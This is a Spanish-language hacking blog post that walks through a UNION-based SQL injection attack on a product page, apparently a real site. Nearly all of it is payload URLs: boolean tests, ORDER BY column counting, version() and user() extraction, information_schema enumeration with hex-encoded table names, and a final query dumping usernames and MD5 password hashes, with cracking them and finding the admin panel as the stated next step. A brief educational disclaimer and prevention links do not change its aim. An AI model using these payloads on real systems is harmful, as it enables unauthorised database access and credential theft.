BackDoor Room 13 Team Blog de informatica general... con estilo :)

Unas palabras antes de comenzar....esto va confines educativos no me hago responsables de lo que hagan ustedes saben lo que hacen solo dire esto no hagan daño a nadie le gustaria que le borraran todo de su web o db...respeten al final de este Post dejare unos link mas sobre este tema y como prevenirlos.
------------------------------------------------------------------------------------------------
Inyección SQL es una vulnerabilidad informática en el nivel de la validación de las entradas a la base de datos de una aplicación. El origen es el filtrado incorrecto de las variables utilizadas en las partes del programa con código SQL. Es, de hecho, un error de una clase más general de vulnerabilidades que puede ocurrir en cualquier lenguaje de programación o de script que esté incrustado dentro de otro.

Una inyección SQL sucede cuando se inserta o "inyecta" un código SQL "invasor" dentro de otro código SQL para alterar su funcionamiento normal, y hacer que se ejecute maliciosamente el código "invasor" en la base de datos.

Fuente: http://es.wikipedia.org/wiki/Inyecci%C3%B3n_SQL

La lista de aplicaciones vulnerables a SQL injection es extensa, incluyendo tales como PHPNuke, PhpMyadmin, Moodle, WordPress, vBulletin, PhpBB, XOOPS, PostNuke... y muchas más.

Antes que nada este no es un tutorial completo ni nada por el estilo solo es una pequeña reseña de lo aprendido =)

Empezemos:

diferencia entre GET y POST: envía los datos usando la URL, el método POST los envía por la entrada estándar STDIO.

Ejemplo GET utilizando un formulario:

http://www.mihosting.com/formulario/procesa2.phtml?nombre=+df&apellidos=cv

ejemplo de POST utilizando un formulario: http://www.mihosting.com/formulario/procesa2.phtml

------------------------------------------------------------------------------------------------
se pasa la variable cont con el valor 22 en ese caso verdad.normalmente los sistemas de noticias usan bases de datos y por eso es lo primero que testeamos pero este no es el caso el mio fue en sistema de Producto xD ..

PD: solo parte de la url se mostrara :P



http://pagina.com/ejemplo?cont=22&item=5

3 opciones:

1-el valor de cont es el que se busca en la base de datos

2-el de item

3-ambos

si buscara alguno de ellos la consulta a la base de datos seria algo asi

SELECT producto FROM productos WHERE producto;

si ponemos http://pagina.com/ejemplo?cont=22&item=5

SELECT productoFROM productos WHERE item='22';

http://pagina.com/ejemplo?cont=22&item=6

SELECT producto FROM productos WHERE item='6';

si modificas el parametro modificas la consulta


http://pagina.com/ejemplo?cont=22&item=5+and+1=1--

Como seria la consulta?

SELECT producto FROM productos WHERE item='5'+and+1=1--';

lo que metes en la URL se incrusta en el codigo entonces la consulta dice:

selecciona una noticia desde noticias, pero saca la noticia que cumpla esta condicion (where) item=5 y pregunta (and) si 1=1 y eso siempre es verdadero no? seria una consulta correcta

ahora intentemos en vez de 1=1 ..pongamos 1=0

eso seria falso y no deberia realizar correctamente la consulta

Antes de seguir deja hacer una aclarion: si hacemos una consulta falsa y no envia ningun error ..se queda igual quiere decir que la variable no es vulnerable


http://pagina.com/ejemplo?cont=22&item=5+and+1=1--

















Muestra exactamente lo mismo verdad? :)

http://pagina.com/ejemplo?cont=22&item=5+and+1=0--












muestra en blanco y un error

ahora debemos usar la sentencia ORDER BY para averiguar la cantidad de campos usados por la consulta para mostrar informacion en la pagina web esto seria asi


http://pagina.com/ejemplo?cont=22&item=5+and+1=0+order+by+9999













PD:mira cuando haces el order by con un numero grande obtendras cierta cantidad de errores en este caso dos mysql_fetch_array en las lineas 13 y 17 ahora lo que sigue es disminuir el order by hasta k el error cambie

http://pagina.com/ejemplo?cont=22&item=5+and+1=0+order+by+9999
Lo mismo
http://pagina.com/ejemplo?cont=22&item=5+and+1=0+order+by+45
Lo mismo
http://pagina.com/ejemplo?cont=22&item=5+and+1=0+order+by+10
Lo mismo
http://pagina.com/ejemplo?cont=22&item=5+and+1=0+order+by+5
espera..:) hay que paso??!












solo basta con que sea distinto bueno ahora en 10 no cambiaba(en mi caso)en 5 cambia el numerito que buscamos esta entre 5 y 10 ahora tenes k aumentar el 5 hasta k nos de error el mismo error de antes en mi caso es el 7

http://pagina.com/ejemplo?cont=22&item=5+and+1=0+order+by+7

cualquier numero menor a 7 da un error el mayor es 5 (PD: en mi caso)

entonces ese era el numero que buscabamos ahora que tenemos ese numerito podemos hacer el siguiente paso que es el UNION SELECT que hace union select? une todos los campos que le digas en una sola consulta y los muestra en pantalla

http://pagina.com/ejemplo/?cont=22&item=5+and+1=0+UNION+SELECT+1,2,3,4,5+--


















Sustituimos nuestro anterior order by por el union select lo que acabamos de hacer fue averiguar el nº de campos que usa la db(DATA BASE) para mostrar info en pantalla

ahoa veremos algo curioso...esos numeros...5 y 3? :)

siempre e tenido preferencia mas por el numero 7 xD pero como no es el caso me gusta mas el 3 que el 5 =)

veamos la version de mysql que usa el servidor para eso utilizamos version()

http://pagina.com/ejemplo/?cont=22&item=5+and+1=0+UNION+SELECT+1,2,version(),4,5+--




















5.0.45-community-nt

tambien se puede usar la funcion user()

http://pagina.com/ejemplo/?cont=22&item=5+and+1=0+UNION+SELECT+1,2,user(),4,5+--

hay mostraria el usuario que tiene poder en la DB el cual no mostrare en mi caso.nosotros buscamos alguien que tenga poder un usuario dentro de la DB ....saben quien?? el Admin :) aunque puede ser alguien importante en fin continuamos :)

PD: desde la version 5.0.2 existe informacion schema la cual es una tabla de base de datos por la que es facil inyectar.

funcion CONCAT()...sirve para concatenar


http://pagina.com/ejemplo/?cont=22&item=5+and+1=0+UNION+SELECT+1,2,concat(1232323),4,5+--

















lo que le pongas lo muestra en pantalla

Ahora vamos por las tablas..concatenamos(mostramos) table_name el nombre de la tabla y de la sacamos de donde? de information_schema tables osea de las tablas


http://pagina.com/ejemplo/?cont=22&item=5+and+1=0+UNION+SELECT+1,2,concat(table_name),4,5+from+information_schema.tables

















para mas informacion sobre informacion_shema.table

http://carlostech.blogspot.com/2007/03/information-schema-sql.html

http://en.wikipedia.org/wiki/Information_schema

existe una variante de concat que es nada mas y nada menos que group_concat() concatena 1024 caracteres osea miestras tenga espacio mostrara info
















PD: eso es solo una pequeña parte de las tablas que me salieron :P

Ahora lo que hay que busar son nombre como ´´root´´ ´´usuarios´´ ´´admin´´ ...algo asi









ahora necesitamos las columnas de esa tabla (usuarios) eso lo sacamos de la sig forma

http://pagina.com/ejemplo/?cont=22&item=5+and+1=0+UNION+SELECT+1,2,concat(table_name),4,5+from+information_schema.colum+where+table_name=tabla en hexadecimal


tenemos que transformar la tabla a hexadecimal nesistamos un covertidor de Texto a hexadecimal yo uso 2 paginas :P

http://www.canfieldstudios.com/flashmx/asc2hex/index.html
o
http://www.string-functions.com/string-hex.aspx

usuarios = 7573756172696f73 le tenemos que agregar al principio 0x que seria:

0x7573756172696f73

ahora la inyeccion quedaria:

http://pagina.com/ejemplo/?cont=22&item=5+and+1=0+UNION+SELECT+1,2,concat(table_name),4,5+from+information_schema.colum+where+table_name=0x7573756172696f73

















Hay tenemos la columnas de esa tabla...Shang! D:

Ahora demos el toque final ^^

http://pagina.com/ejemplo/?cont=22&item=5+and+1=0+UNION+SELECT+1,2,group_concat(id,user,pass,nombre),4,5+from+usuarios--

No mostrare los datos del admin de esa web no pienso mostrar tanto el user ni el pass encriptado en md5

ya el ultimo paso seria desencriptar el MD5 y luego buscar el panel control ^^






















eso a sido todo ahora unos link mas sobre sql inyeccion y como prevenirlo:

Sql inyeccion:

http://www.hernanracciatti.com.ar/research/papers/sqlinjection.pdf

http://www.milw0rm.com/papers/216 (recomendado)

http://www.milw0rm.com/papers/197

Como prevenir estos ataques(siempre habran bugs...):

http://www.dotnetpuebla.com/portal/Publicaciones/Articulos/848.aspx

http://labajaenred.com/evitar-ataques-sql-injection-con-greensql-firewall/

http://www.sqlmag.com/articles/index.cfm?articleid=42216&(Ingles)